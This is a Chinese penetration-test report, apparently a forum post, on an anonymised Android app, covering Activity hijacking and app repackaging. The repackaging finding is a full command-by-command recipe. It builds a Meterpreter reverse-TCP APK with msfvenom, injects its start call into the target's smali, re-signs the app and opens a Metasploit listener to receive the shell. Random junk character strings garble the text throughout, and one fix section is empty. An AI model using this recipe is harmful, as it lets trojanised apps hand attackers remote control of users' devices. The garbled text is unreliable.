原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

. ?3 ^: Z8 x* u1 Y + p1 ]+ d5 e9 u# W, I- T$ O

]* y6 @/ {) M- ?9 y" o+ {

7 `2 L1 H# ]9 S, n R : R/ k, J6 u* U9 {) |

% N' x+ B/ O, V 文档编号：                $ Q, r% S" n! x; y

4 |" Y- m+ |& G! X6 ?# I 7 [- C- J. m* I) G" P" o

4 o2 v& ?5 J, K4 @, f. A( g$ Q; u   ! {/ j+ l0 H( u2 J d/ m X( K3 f/ \1 W9 e$ \& e( z8 n

) W% G; Y5 A g8 o5 U8 o

, Y% S% S V- y7 P 0 s% z) a) `. e1 @' k  

! j; {% z5 K; a' p. b

! g' [: R7 l5 |   ( [; w9 i8 d+ ?' n

& O( Q( }0 P. v0 o% a0 ] 7 ^% g; P- R7 I% [8 t& i: z6 l

5 `8 W6 A: ^, r0 S3 b+ t5 V9 s ; o3 x3 z" r# y: B' _   # k" _: I: M( g

7 w+ `- e3 D! f: d; @

 

9 D2 T$ J8 |5 T! U

7 R& {# ~: e* D; ^1 O 某某某APP渗透测试 3 o( S* h$ D, `& R' N/ F4 z4 H

. H% d4 }' ^+ `8 V H6 ^5 B ' u! M# }- ?2 ~8 G( B

2 ~9 P/ L k" N/ ]+ C9 x$ q   , x4 j) w. ^/ e% h2 A1 t , f) g2 @1 |# @* ?5 L

* `2 U8 c% f: X% L1 \$ c( l' S- s - {$ D' G0 F( H- p9 b

# [# r2 ^7 [ a4 A 7 _) K( o8 o9 R. W  

4 v o9 L% b( \$ K   : E8 t% d& b/ X% X1 m

 

p5 B* t- t' s" x

: P: q9 Z4 S5 H 技 术 报 告 7 D. ^ d, w v% w1 R# |( [. N* b0 u7 M( t 9 ?+ t3 K: r7 X% h. Z: B

2 `0 a) ^( J. Q% d" @! R

( x, p7 s! k" F8 \, Q% }2 H% {, [  

. z8 Z( j* }. h) [; m+ z& T ; W* ]# y0 q, @0 i' X: b7 D   & T+ A. S _0 w* j5 M$ ~ ( n2 q% E# U0 K& L8 v4 j2 K

! D9 N7 ]8 ]' ~6 M z- [: H  

. y/ @& ` k* @, A0 v) s2 y2 r - V. C1 A. w8 I/ [8 L# P

9 F6 ]) L. j) o% U, G, M+ K  

: _! r J9 D; R9 W( d

9 u/ y; P c C% q: s  

' O% `# p2 H" ~8 ?. q   2 Q' w J- B! u* Q, X8 u6 Z

4 @1 Q/ K: R2 n1 A* q& O" G

: c* t$ M6 m2 |; w: F 3 D8 ]1 T' k& ?5 d  

7 ^$ R5 e/ O% M1 h ! z8 q. |' m2 v

- ]$ E; S+ H# q   $ ]) g X4 Z. W# ^! g0 D W4 y2 @6 s2 L

* E, ]2 }4 _5 W, E2 X6 S% t5 ^

' j" z, _+ Q l- K" b   : R: z. L6 E! j* a: O7 |$ Q/ ^ F" H

  # `2 D& T. f2 g+ i& ?8 c& j% i

5 ~7 [% Z) _; ]8 L4 @

9 g2 @" w9 H) t: F/ b! a- e  

/ l8 v, `- Z* h v   9 U" }5 j8 G' a# r+ ]

5 ?; k: C% ?/ ]; R* G0 N. J

  $ y- {( s+ X' N3 |+ @( N ; i. a ~' J9 \9 P9 h$ Z

/ k3 c6 N7 a/ R, R2 y3 s

  # q* |; y, I2 I: O" Y

% g2 i* h m7 p4 n, f# l ) V! }3 y% b% Y; {! z! ]

5 M8 [" ^% ?% o0 X   " z" o: q' l6 e% [: f& T 2 D4 k4 ]6 s+ y: d. V1 J

0 V& p6 i5 n4 l! {3 T) v   1 n9 K! n( b3 D) \: w $ _, X) X \/ ^& ]# i# F

$ H, ^6 {7 C2 l9 X4 u7 W

 

, I$ P+ X4 Z3 o2 ~- ?. Y/ `& ^# c: j 9 q+ {3 _" i- O8 ]+ p

! Q* }+ w/ S5 Z / J9 f. i0 k/ y3 u   1 z- g# g1 Z. r/ m- ~3 i( k ; F: W3 o; N7 e- W* Z

0 E0 a& N9 l& y: `& D% r% V 8 @2 t, Q' }2 {( v, Q/ A3 y6 ] 二〇二〇年 % F0 P7 n h; ?! Z

) t8 B. I+ ]: }2 c0 k) v% R. {. {% ]

2 q4 x0 e& t5 Z8 w/ k
% H* D* X( d7 M( g8 h! [2 t8 D 6 z$ m- ^) D' }+ V% h- ]

( a1 F1 ~, j: w* c, ^

) I4 w: d4 s( B3 h3 g( ?% g: S 6 F; ]4 g$ w) Y \- E8 r

, y$ U( f8 c- g& e 目 录

\6 ^1 |; H, R9 a3 W " W1 |8 s7 f m) B4 b " h/ G( n3 k& u3 ~. ?( e

 

/ |" q) ? w) g& E, P7 {+ E5 z' }7 d " |( i; |: Q) F$ Z

1 w8 H' s- x# y9 S 1 概述... 3 3 N" z, Y# D! H$ |2 F" A" l* Z 8 }0 |' e* ]1 [, o% P5 o2 Q

; g9 `3 e2 A0 q7 R

1.2测试时间... 3

' U. I8 p9 B/ L0 ~

: F7 b+ W: X5 P! R# t- j* j- D ) g" r/ i8 L8 X' q 1.3测试对象... 3

3 e& L" F% N+ m4 g# W+ g

5 z6 H7 P }6 L" e# B. y& T 1.4测试结果... 3 ' s C% r5 `$ E$ B j* E $ d2 o4 Q9 f9 X( {% [/ U' t

. D" J9 O$ o/ C( o4 z% Y + L, D! l$ u3 l: }) P2 Q- F 2 检测结果... 4

; L' x) q5 D1 D0 T & f! G# d/ V0 P% S

, B+ S3 j( C! n ^: {5 s! C9 i7 W 2.1 某某某... 4 4 i1 [7 J8 p6 c# h. l & `3 B. W9 p* i& {

+ A# l) ?3 O7 R5 \ 9 q9 E: ~* {' J6 m

/ v. p9 _4 r3 x, j 2.1.1检测目标... 4

# u% U& a* Z) \' h/ ~ 2.1.2检测结果... 4 + n! [% q$ D$ @

# b4 J. n; b1 _

7 E6 x3 J* u, a5 F 2 U# ]& ^( C Q% {3 m6 n 2.1.2.1. 4 7 ^3 B1 G: y% X! N5 L, C* v

( U$ h [; U2 a, W) _9 Q. ]) N4 T

2.1.2.2. 6

$ u# r8 I' _. Y+ u' R0 W

, r6 |6 }) Z. a9 E2 c% s- S& @) D & V4 @( q- k( Z, Q2 m- K/ v % ?8 m1 X. `6 Y/ K, D9 ~ S

2 \0 P' P Z% ] Z

4 B6 @: s i" S+ x: e9 R
4 e+ F8 \4 v. S/ M 0 ]" b7 R5 Z5 j' T/ Z$ g/ P8 x) w* R : j& m ?1 a' b; r" h2 w

1 概述 , P% l T8 c& X

1.2测试时间 5 S6 j v1 w4 d% x

( g' {8 R1 S& s : U8 b4 B( v# a& ]5 u5 j; M: o s1 u1 Z6 @9 h$ X' H/ l+ _: Y+ r% g5 q- [* F% @- H" n0 W9 G" C6 k1 W7 R- G1 k) v0 a. Q7 ?& |4 L* [( v; ]) E6 C% y ~9 r |7 o- P+ F. A3 f" N6 h' C: _8 T9 A- r8 b0 J0 v& V( k8 b% l# w/ O; b( q& L6 D, }7 C+ Y( s1 r7 K4 s8 k* C- U K2 z8 ^! x8 g" }) _- d' c4 H7 ~5 G8 ?5 L8 Q9 n: o( W- ?6 n3 L" }9 S- W. {! N4 W* U9 J* G

4 @; s3 N2 ~/ p+ T/ C 渗透测试时间 " ?* Q' Q8 ^9 I# o% Q- s ! L; @% H4 {6 n6 p$ p5 O! u: O & o$ Y& b: o5 ]5 j- i" n7 ~# f/ c
# R9 C/ m, @# y, {: t/ v5 [ 起始时间 2 l% ^( ?1 J* t , e3 {2 |. U6 Q1 c' A' h	' r3 A, L. U2 J/ @9 z2 c# m( c: ? 2020年4月6日 # C4 @8 W' u! A ' E) G8 q. b7 x# p
8 l. E$ y) f; \- l5 R : D* n( }) b @) `. K+ |( k 4 m) k) `3 J; o8 v4 \* G+ L , h7 ~. O$ n: H" y9 s, Y% H 结束时间 $ ~3 b1 D! ~6 \ 0 i/ N$ w4 ?1 | 2 A5 }+ ?/ ^& B6 S" {/ }( p* R8 j! ] 2 o2 b# I [& H3 }+ Z, j& I) P	- M5 d6 Y8 Q$ S ) ^5 `8 }# n7 F; ]6 E 2020年4月9日

L# ^( \8 X n; s * j; k1 Z' N& g! f: j

" t7 ^- m( d8 Z, F/ t4 A 1.3测试对象 9 B, }# D0 G( W/ B3 g& f1 s

. f% V( o1 U4 s- N& ? / @. I' Q3 B5 A& |4 l. c9 M) C

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 6 y4 [( \( @' y

$ i; X U& l% Q4 U2 f' P9 h $ M4 b* d+ X7 ^# \( F

, {' J* K: C6 } # r$ y C+ S' B4 s 表1-1 检测对象 |" }& C& O: L' ?3 M1 X# e2 _ 4 i5 K' J1 i2 S8 `

6 {0 c, m5 n W3 r) |3 Y2 w% G; ~0 S2 ?& r& q8 R. m4 s B+ v+ j) w# @6 u, K" p4 p: h" p7 _. r( v: _$ i# T/ I% {( v9 L% L- [0 I8 s: B% b2 _5 t; Y6 e0 F8 R1 G! l/ y2 v9 t) I/ M% x/ W7 m2 E" F7 h9 t* P/ f2 }# z. U7 {% p3 C& j) u5 w. m$ i$ P% ^- T3 |$ L( m* W6 |- ?" [. c U. W5 A- K0 H8 r+ h- i" S1 c! e2 J4 y1 X

* B0 b( }) z( \0 l( }9 r 序号 * P/ v; O6 X* m/ \9 W	1 @% d* W, ^' @/ y9 k! g 0 g9 N! \2 Z4 ^" d7 I) c* Z 测试对象 ' `" D4 D9 U, {5 Q5 z - W" B9 @: v: l$ _, ?! a	) Y( B6 R6 ~/ G% f ) I, ~3 a* c8 H 测试地址 ; Z" ?1 i0 p9 E v+ q$ D+ l# W$ I + ~/ R5 y: H N9 B$ n8 {" T 7 \4 Z9 y: Q) l# L2 Z	8 i: h6 m3 \% _ 6 f7 a, H- V& m% [9 r 安全漏洞 2 ]% I& x, d6 j$ \7 _ 7 E. ^1 q- }; v
: ~* t7 Z. ^5 j $ ~+ ~ U( o9 F4 i+ B 1 3 ^' c# G$ L/ E" d	( @" s' @2 |7 s6 e v 某某某安卓APP , u, @8 X. c7 p' {9 A . T3 o! q% e: P; K; E; Y 7 [2 p- C Z$ L) j1 [	$ |" e/ z/ t3 | |$ P8 ~( W * G g' {* l: |   6 U. N; o% O* M$ ~# M( V- e : e( K6 [ J( W	8 u" A# ~; f1 W) @' l * k; U) _, \+ q7 H- m1 x" e : z: c: o( `/ c 2 7 a2 E- I4 V+ U/ [4 G) ? ]: m2 o. n- x- q

& x+ n% Q: `0 \1 D/ w 1.4测试结果 ' _1 g. g. I1 G9 ~! V

7 q! o; p, B; p. w " V1 c/ e4 v8 x% V- @

/ k# F, m/ v8 q3 u, I+ u7 o 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： " ~& s! a3 j7 I

* e0 a+ ~: o$ v A, A, o, P, Y

+ a0 ]% V+ m& |% L   ( h3 S6 I) o& T" P. {4 `) B- {" J

+ p! i) r( H* d4 m7 v! a 3 l& a5 V- e$ _0 L& \) h

- a$ Q1 l# \( n" W 7 Y0 q; Y' _& @! ?" o z1 a$ K" V) C7 H$ ~/ S, o" w6 @3 o3 b5 l" R* f: G: |' l" h" X6 P' {: D5 z8 e; \/ U( e" s# y, R/ {, @0 v4 x" E; U( z" r. S, v5 X/ N# i: N4 ^- }0 `& S" y/ d% d: Y& j( `. u" M- P8 P9 M$ L q( c/ F: Z) T, ~) f' I( Q: r: P2 y( M1 J; E, T. u( T! q' C& a( p% I% M; z( j. Y0 I1 S+ ~0 @/ C8 a. l$ l2 }; r) p; G3 f3 x; } N4 h& E' T% O; T( E! W& y' h+ I" u+ I [- \7 W7 j4 K* B9 [7 u4 {7 d w$ U" W/ q( o4 i) \/ t4 x( X1 ]0 Q, g c* Q: v! s' B8 n" f5 f( q* Z6 E0 A6 Y6 c' U/ I' Q& F6 k/ D' C$ `7 E" M7 S1 z% N" [- R! n0 I4 @, G

5 G1 M+ j, t1 P; D. `% ]. X: j 1 S5 H- P" [+ }* K8 p" D 9 t* R% _* W0 t) b 6 m f5 {" T6 B! b5 F* H3 Z 序号 + H) r1 M; k. g7 O	2 |1 ] s, E! E- e$ Q) j/ @7 f7 c * w! }$ y, m: D8 W2 t$ A" L 系统名称 ; `+ {% s7 a. }5 g! P; e * i3 l& A- g" O' R Q) C2 ^	2 g. w9 E, D; w! b' @ 漏洞名称 E' S$ A" d- E4 t; a ! X* T; f' h4 K: ~3 Z7 y	* T( `& d) D, J0 L/ i# T" y 漏洞危害 8 t* H( M, T9 v+ ]( }) A	# s- j" ^: E1 F 7 z( d: D/ r4 d$ Q( t5 w5 Q! } 修复结果 6 }) c' p5 j/ B; E5 Z J; U1 M $ o/ z7 F0 A2 L! A, W" a0 { ' M1 `. J! R" A, }0 w0 h1 U, o2 O
" w: u+ |% Z) W) |" \& |* r8 V4 P / X1 D7 v9 Q1 f; g+ M 6 L; D9 e! i; l; p 1 / [1 o2 m& S x) t1 S 6 n3 W q7 F6 z v% ^" ]5 W/ V% ^' } }# i3 y- @% M! ~& j0 j; f	* r9 \: F. G& z) j 3 ~. W2 [8 ?* T( Q3 E5 d * {& k% D* D, {$ U# Q9 b 某某某某某某APP * T I8 |4 J, J* g) Q/ v* o7 t 5 B0 v1 F3 _, r! T/ R) _	- |9 f- m% z, N6 G9 \3 ^ W ' c" e1 \# E6 r+ e; M0 C Activity 劫持 2 a8 c" E# s5 k6 X, ?% ` - S: A7 ]0 d4 z6 r$ i5 O- F   * `' [4 X( D) m9 C $ j( z3 E, _2 s {+ c 4 H( o9 F' Y: A) T	, @2 [- T9 q. R- M% u" _! o ( w. Q: i6 o5 n/ z1 b 高 % K7 @2 n& d7 _5 n2 h	3 m7 C! }' {) X" i- d9 _* }( Z " M9 T _6 `. N, Z( Z $ T2 [9 c% Z$ } z7 u   - a' ^& w. t, x# r4 g- T# t, I
3 h: m. K9 f; s3 a# T ; |9 p/ [: U' Y4 o 2 : z- z, j. J4 R, G" d5 h- W- j+ P ! t3 g1 }" T- Q2 A( m, [$ n% d- v	5 k* c. Y7 j/ U: C/ h 某某某某某某APP 2 c& |" k* Z& K	/ F9 N$ m, J. Y p, Z- k 3 O7 ~( T; K+ v0 R j P1 U/ v& _) x 反编译二次打包捆绑木马、篡改APP代码 2 c* N& D) E$ N8 \' f- d ; }% C! h* f% G# N " l% n* E- } P9 m" k & A. {& D3 O9 s; h" Y; u	; d6 s* a. E% j$ z6 C m 9 F- A1 g! v/ ?3 }, k; _ 高 ( F* v$ F1 L% h( Q y5 Z- ^ " E9 i2 P- l i' D & J1 p+ m0 b2 n3 c	4 ^7 X& X9 Q, [- j2 G$ b% t 7 [, n+ p& @1 \) a# {. \ , J, S: i4 A0 a, R# i! \( o 2 F. c! z) s0 \   $ {- ?7 y$ f. v# m- k8 a7 U 4 z% }( j5 r9 J5 E7 F 2 L4 y4 v8 Z$ m k! |" A , }2 a, S9 j4 H# b3 `

7 q0 S; u4 t, c4 N$ [0 B. G

; t; K" l7 v3 x1 J4 M! p2 U " R2 l/ q# k: l" d3 d   9 p4 T) r& t8 R2 H

# R5 A/ \+ Z6 f# A $ _8 L$ t0 S$ q 表1-2 测试结果 $ O& X. ^( K% B7 x / t8 Q" A {9 d$ B$ Y

" q' X" G0 S {) s

7 ?* y, c/ `; ^   5 C. ~. g' w% [8 ] b, B" l( p8 G* E# H; K$ e( c) z

+ ] W: z% k2 X1 h! b6 b9 `

/ q' o+ ~- g2 n) u 2 检测结果                    . D2 q/ j2 H J

) W: G8 K$ `/ n5 D# D3 }

) I p u0 u6 r8 j. l 2.1 某某某

+ ~6 X: H, `% y2 u" d# { + C: v+ N; L7 N& u+ |0 R J

5 w1 S! G: T, _! S+ N 2.1.1检测目标 * q0 J2 i0 o, T) e9 L: \

$ o" n, \2 f. l% V3 u 目标地址： 某某某某某某APP 8 g, s: b( N- ~6 `! w $ R# l9 r3 ]' V1 b7 e% Z

" `0 W( X6 m0 @$ f3 r

2.1.2检测结果 7 n, W5 Q+ `3 r+ d7 l # v; v2 ]. v" p" a# C8 p

2 _5 u% y# d3 J! w% p& g: G1 Z

{& I7 P0 K/ e- X" W" O( K* K 2.1.2.1

! E: F7 o8 I5 ]( M 漏洞链接地址：某某某某某某APP + I# Q, u l9 `% a 6 b! ?# Z5 ` H

$ a# V# E% z: r, N9 {, i

/ M1 e# z% k7 z/ R+ m   + @$ c$ H+ P' \6 l M& s1 F

漏洞分析及取证：

4 ]+ u% k" q. i. U0 b

+ l) w, K5 [) t3 Q! I+ i                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

- F+ c% E" N( z) m+ ]

     / `* j b" P, s 1 h/ w/ P4 p4 `( f' x( G

% c b# }8 J, q* ?! H. `

                      % `, n; P( G6 h% X7 h 0 m: K! q% `7 }. g$ K1 [

1 I! v3 s" ]4 v5 O+ V

! U, A9 V# I; z5 i, B 2 N5 |# z ]9 k- s e& {

' e% g8 G4 n( k5 J5 q: C 3 i) W. m( r7 C6 R5 r' N( E

3 i4 `/ H5 y; C+ b. Q4 X, K; @/ ?

" m2 w/ U- o |7 A t2 {; S, b; w

! K1 P- s2 G8 {& L - Y9 H( T1 E) } s 漏洞危害：高 3 E3 K; W# v* O

* ^4 c9 F/ |- |

0 Y) z4 r n. Y6 N7 @# Y. A + P* B7 F9 k8 D9 t9 ^. P$ I5 k/ ^/ t9 U; j+ ^ m' z. I/ z; z& m4 E* U; n# [* ]- {0 X. y7 Y/ ^* b1 T4 g& W& C+ P9 j2 e/ G5 x9 X/ D$ q8 B# F! H! i: p5 I" o$ q; b$ W! {, Q" L4 {9 u) j4 s) c5 S6 S" \- x& Y5 L! `, L c& f9 w+ ] W) z$ @: K1 D% K( K; L( N1 b0 Z7 n ^- F) K1 `/ Y% b! _

8 t, b# V) u0 @) z$ X% n1 X# K9 r 严重程度 : v f3 V; j2 `8 N ! A* h3 w7 H) E) a1 K	; i# h* s8 |; L 6 f/ d& Z d$ H1 q) r+ n' s 高 . v& t. g" T& q- o' o p ! @" R$ ]' k& J: F! p ! x0 L% x4 I+ [, a( z" [	; j2 B, {8 T9 j/ a5 W9 | " q, N' g9 j8 J( x- Z( R& V ■ 1 U5 y% d: }, J: N9 Z	' T; j5 v* }9 L! e- z 3 g6 }1 o: g) j8 ` * Y" I$ F: k. e; X" C; H) V6 M $ |1 J# D) Z- x4 V7 q$ Y8 J6 J$ ] 中	0 p W% z6 ~; { 3 l v! e5 p' A7 p, e, m0 c2 _ 8 {% J, ]0 ^+ u1 a# w7 D , @; v8 x- ^# w2 I) t P7 X8 v   # T& p2 ]8 H5 ]+ w" ?+ S H x/ [6 o. Z; ?0 M% z+ c( l	: k& C) X- J0 M2 T y8 J# S% {& L 5 C1 E$ Z( E" ~+ d. {4 }+ P [ 低 7 O; ~" _2 q; X$ [8 e ! c0 A0 z5 o/ M; H" s2 j0 l4 @" t ) K' p- o) T" c( f' n * t* l1 i5 |& }1 i" \, \* V5 J	5 j8 U8 _4 m" q4 E" R , g# M1 l- i& t" \( A   2 Y$ j5 q" U/ Y 6 {) q" K4 U9 B1 o" S

7 X' D; D1 \; ~6 Q8 i

 

" [0 x$ [+ c1 ]( n + H- n* J; e" f$ g 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ) @; y5 e( [) ]$ `! i( F ) C: }" s# f! s. B3 X5 h

! v6 [2 P$ x! o7 T& |: M

          C2 Z1 {2 \) ^% s0 w6 _% P

+ }( E4 g! r6 } 9 z" _' ?5 o& g' c2 t" p, z   : s" n5 V5 v) q0 t

! L5 y+ [2 ^% H" } 3 J" \/ {% H, l1 i2 m6 d! x

! x; d: e. [: ?$ k* e! t 2.1.2.2 * \- D, g# q1 Q5 S! ]$ q* c0 Q; s

7 ]3 M# }8 j; m

漏洞链接地址：某某某某某某APP . m. f/ H0 G5 F6 s" P& i

" t0 k/ I/ ]1 ^6 G4 s0 U ; I: ~- p, U# m( ~; ~

1 D, }% u/ b/ R7 | 漏洞分析及取证： $ \( D5 `+ U+ q- w, _3 k% y' r

4 s! I0 A6 d: V

$ J* l+ v& s7 Y4 j: o1 e4 d3 f                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

! d$ U! u- h/ v, v' V7 z J5 T 用Metasploit 生成木马 apk , C: ^9 \9 E7 R! ~) K, R$ T3 g7 e

- G) ]3 s9 w( @2 R5 { 2 Y. _5 k1 D/ ~1 ~

4 q+ f- `9 o( j* ?- b msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

5 V) Y. U, _+ q; f( S , @ N% }+ v' K8 H: }! l

# \; g1 F" t8 u- F 反编译目标apk和木马apk 6 r( D! u9 `+ |) p" y4 {

& N8 l/ q$ T1 C; I3 X1 R. U 6 }! J1 A8 F- n i" v& n p! x apktool d target.apk
- N0 j2 _6 x9 G 7 m; C' U) G9 \; r. I& i apktool d cockhorse.apk

. q7 m' R4 d$ F( K) h! y ) z7 F) e1 W2 Q* L

木马 apk 注入目标 apk 0 A7 Q1 R5 n) Z2 v* G0 ^6 }/ X" e & m8 [: Z5 x v. b; c; m" F

@" p; f: y% k4 Q. S0 A

' G! k9 G" }# n2 I 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
: ? z( C' G3 ^: k* b invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

" m. ] A2 N ^4 \+ E$ _( l$ [3 G 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

' l- u! C0 r/ \" J0 v7 \! C4 y. F; [ 8 J' D1 s9 A+ a2 J

7 U3 ] h/ d) s9 d 7 ]5 X( U+ c$ R2 P# k/ c2 W6 E+ Y# I6 k X 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

* e, `" a3 }3 a9 d9 t# |3 Z) A& A

/ H" ^+ `" Q. L8 n5 C 回编译生成最终 apk

# d# Z6 `% i' V; k& H# W ~( r, `- I9 d& f+ ^

1 w$ B8 y8 B# J* |5 C7 @- { 重新打包 7 x, u) t* e4 B/ f

9 w* g; |! C1 Q( ~+ \ # t! [( W4 R' D$ O* d7 x7 L' W4 a

7 Z% ]$ L1 ^6 u apktool b -o repackage.apk target_app_floder " ]) Z' {5 i3 y- S. Q1 e

0 f: b+ \9 ]8 @ p0 G$ U . [4 f8 l, _* ]8 `! s 创建签名文件，有的话可忽略此步骤 ' _( H" k3 a, ]

: ^- l, V7 N" t7 ^3 R

0 h4 i6 k" ? i: ?0 A' P" K3 P: u keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

& Y# f; {5 p) R: r) ^, A. S 签名，以下任选其一 0 d6 q7 q( C4 ~$ y5 [; w

$ ~: R; {& F2 Z- k- O7 c5 A 0 t2 Y; N; z' \5 P4 N. b9 a) `/ C

( p# s' M4 C5 @ _$ X& M, D jarsigner 方式 ' t: l' m5 F+ z6 }: g3 k" ^ 7 z0 m1 U1 F2 h9 c; b

5 m- I0 D# g" n+ @7 |, S1 A3 G jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ! b6 v* `5 V0 S7 t3 j! e

apksigner 方式

D9 O6 {& h! n, G T( O/ ^5 ?0 ^* `: Y) r+ g

! l) _ R# S; t2 ]1 R5 K0 \ c 0 T% d8 O) f. Y" H apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

: q5 l. k3 B9 [8 R; b% x I0 w

6 e) }% o) N1 A 如需要禁用 v2签名 添加选项--v2-signing-enabled false , R! b4 t* N4 M& U / _% f4 Q' ^) `- p" I+ U

; K! ^8 B' T) }7 v0 k; I

! D) ^6 j: o9 u6 ]7 z$ n 验证，以下任选其一 4 N. o# ^2 Y; g; L

+ ^2 K* s$ T/ @: {8 U6 o

jarsigner方式 ( F. R$ M: t( t; h- j8 J( d) f

jarsigner -verify repackaged.apk 2 g2 H3 ^) N3 \2 c, b& j$ D+ W

* \, m. _) ?; L9 F - `4 ^7 `% ]6 d, G/ x

' t; O* {1 l; K) r apksigner 方式 ; Q6 s. u. u0 r: A; D / e/ X R+ H% e' M( z" |. j

. N: E) A! Q+ B% s ' d9 h9 o# E; ]5 C1 E apksigner verify -v --print-certs repackaged.apk

- d3 [. }0 x5 A8 a9 Q( A3 I! F- @& k

- M* M& ~& M* R( u! o$ q & c& N9 o/ q2 M keytool方式 9 K+ Q; K1 s: D- M7 H" [) R

7 M, P; o2 k ]; o9 U: B

5 V- i) }/ l! n8 k: p keytool -printcert -jarfile repackaged.apk 7 u' K3 C% r$ L. ^, e. u

6 _! Z# J1 q$ j3 S

* N. P8 ?$ s) t2 n$ _5 ]# E1 k% q 对齐 . i g, a1 i4 K: V- y! j

+ b2 D) k% G. ^* Z2 B4 ~& W 字节对齐优化

, Z7 A6 k( C2 h

zipalign -v 4 repackaged.apk final.apk i5 v$ W; y( f8 P& O

/ c* z. R& a: ?1 d

检查是否对齐 + x) \" @! I# f* E! _2 c. y4 H

1 D. k" K% E: I: @, r8 b# n . V* F1 M/ N( J$ ?: b

0 O: H' w/ v( [1 V) j m $ x. G! z* ?/ |! S" U v zipalign -c -v 4 final.apk 6 B& V$ K# Q' E& D; ~- d

5 y; D2 \0 q0 o2 F5 m& j

P c( z) m b) ]! [" s9 Y$ k* M 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ) g! q. x# [/ V( C+ M

0 g, ^, F# G+ [5 q8 X- s 0 M! ?' @1 x* ~

8 I( F9 o* q- p- G6 i6 M0 m5 i" {1 j 启动Metasploit控制台，配置参数等待上线 : G+ p! o4 y8 Q* i, L ) k6 P# T$ x7 q8 S) M

$ ]+ L1 P; B5 M% z5 _3 B

/ Y) p1 t( C4 f+ @7 @/ y ' m* M' Y2 V) Y2 G, o5 Z( c 在终端依次输入如下命令 5 u" S3 w. d$ Z% m& r* u5 |+ r; p! O3 u

0 R" V2 @0 S, D+ ^

5 p6 D0 d. a x& o) Z7 G msfconsole

' I& F; ]1 Z/ G9 t* [; d2 y9 K: |9 w3 H

/ J$ ]6 ^+ d# h- T3 ~/ a- p \: c3 l# [" h: E% i. @ use exploit/multi/handler 8 E% l) S! S q2 f# |7 q5 v& g% ~ 7 l6 X8 z, _# Q" J* ~! L4 j2 _

! p7 c4 b8 [2 ?( }6 Q) w* ~

, b, V/ d: l- I8 y( v5 l set PAYLOAD android/meterpreter/reverse_tcp 4 ~' J5 ]$ B5 @" p* y

8 Z" u5 [3 i5 I! K

- n' P% b) ~0 z" r. h set LHOST 192.xxx.xx.xx 0 I$ A% {+ B" E9 z/ X D6 i

9 K( \) u( ~, c- ~/ ?

set LPORT 4444 3 m8 r+ `, R7 N4 y" r" \' ~ ! l' O7 X p6 `9 r% b9 m

' f K% `* B( l

exploit

# d5 e0 h0 c5 A ; j0 Z1 D3 [0 P) Z

7 t& q2 i; v# M, K/ e! a 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

) E: S5 U) t* K* `6 N& O/ y8 }0 { ! ~- J1 E4 ^% s9 u

( E7 I( g8 ~* z+ b6 `5 Y' `, k , h3 l8 T i0 s 漏洞危害：中 3 [# m# j: g% o6 {, h0 g

9 a5 l( V: E1 q0 ]7 Q0 ^

- l" s$ q( \" i9 x) H! U! |' g 6 D9 R1 h3 T! `/ c; _' |- Q / c+ B1 v* X; w0 h m8 l7 C 1 e! ?5 r6 R+ _/ X! y1 k. l/ s; o. ?2 M" Y* j! N) M) E4 l) H4 [1 @8 ]& ~/ l8 t! {( T8 W% C- w/ T- x! p5 m9 r5 H# ]( \0 | S3 M9 H/ U2 y- h/ Z0 Q0 L3 ]# g0 A/ w' [! n$ C# R3 k3 U: v" c# \& y3 `- t, v% _0 k5 D! a/ s2 B/ R/ G% C7 O: z6 K- D/ p6 ?+ G- K5 H7 L( I$ G, T# T; h4 l8 e; a, N

1 N- I8 Z3 g7 j3 w- O* R 严重程度	" i1 }: c9 G9 L2 x4 F 高 . w6 Z5 C- e. Z0 v	' z( Z/ l# I% b, @9 O- ] " }8 t2 V, |: w& H, Q$ m ■ " m+ y3 J" m( L7 f6 y3 W ( b: a% l% M; v; o" `	中 5 y8 L {5 A0 v# P" J/ ^+ B* C 6 D. I; o( ~+ q$ ] + Y2 d2 L9 m# K( l. a& |% {; i	0 y( J' ~2 S( R ) t: o6 H$ b8 X1 Z4 w $ ]( s/ T# e. K6 G3 z   3 j/ I) \4 D( T" y( k3 l # I/ j: _* I3 M0 e2 j$ o U	8 H R: ?8 G! G% ]; o; O ) B! o/ f5 o; @) J! U9 w- C % x! \6 H% W8 |/ I 低 $ u+ }* |/ C" g, X. s* _- [ " e4 @; d4 E1 W	6 j0 [2 E* k/ X0 {. l- Y / \ `5 l- s* q" {/ J, F$ w& H 0 J( a# r$ t# A+ J, e   3 A6 v$ u' U: _- ]

6 x# O% ?. \; j q3 Q( ~ @. @ ( R D9 `9 U0 N! {, z

6 f& `' f* J" s, t/ P! X# x5 U   ! {$ A, }8 ]8 T! {

7 w1 Y0 [' B( C7 h

* x% ~5 N; ~0 W- h- C) N8 @ 修复方法： m6 r2 n' p7 e, D$ H- i+ w + W: e; ~) j+ O9 A' ~* R. \- x

) r U3 x* B6 C" ~ U0 m; V. I & F9 {$ S1 s$ y1 d" ]' _% c

